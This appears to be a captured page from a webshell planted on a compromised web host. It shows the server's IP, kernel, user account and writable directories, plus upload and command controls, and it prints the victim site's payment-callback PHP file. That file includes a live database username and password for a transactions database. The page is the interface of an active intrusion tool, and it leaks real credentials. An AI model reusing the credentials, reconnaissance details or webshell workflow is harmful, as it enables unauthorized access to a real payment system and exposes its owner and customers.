403Webshell
Server IP : 192.169.170.185  /  Your IP : 216.73.216.97
Web Server : Apache
System : Linux p3plmcpnl495852.prod.phx3.secureserver.net 4.18.0-553.52.1.lve.el8.x86_64 #1 SMP Wed May 21 15:31:29 UTC 2025 x86_64
User : akhilnew ( 1712764)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/akhilnew/public_html/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/akhilnew/public_html/paymentcallback.php
<?php
$txnid = isset($_GET['txnid']) ? filter_var($_GET['txnid'], FILTER_SANITIZE_STRING, FILTER_FLAG_STRIP_HIGH) : '';
$token = isset($_GET['token']) ? filter_var($_GET['token'], FILTER_SANITIZE_STRING, FILTER_FLAG_STRIP_HIGH) : '';
$status = isset($_GET['status']) ? filter_var($_GET['status'], FILTER_SANITIZE_STRING, FILTER_FLAG_STRIP_HIGH) : '';

if ($txnid && $token && $status) {
    $mysqli = new mysqli('localhost', 'akiniktransactions', '.3[HO07+LWo{', 'akiniktransactions');

    $stmt = $mysqli->prepare("SELECT COUNT(*), success_url, failed_url FROM transactions WHERE (txnid = ? AND token = ?)");
    $stmt->bind_param('ss', $txnid, $token);
    $stmt->execute();
    $stmt->store_result();
    $stmt->bind_result($count, $success_url, $failed_url);
    $stmt->fetch();
    $stmt->close();
    if ($count == 1) {
        if ($status === 'success') {
            header('Location:' . $success_url); exit();
        }
        if ($status === 'failed') {
            header('Location:' . $failed_url); exit();
        }
    } else {
        header('Location:https://www.akinik.com'); exit();
    }
} else {
    header('Location:https://www.akinik.com'); exit();
}
?>

Youez - 2016 - github.com/yon3zu
LinuXploit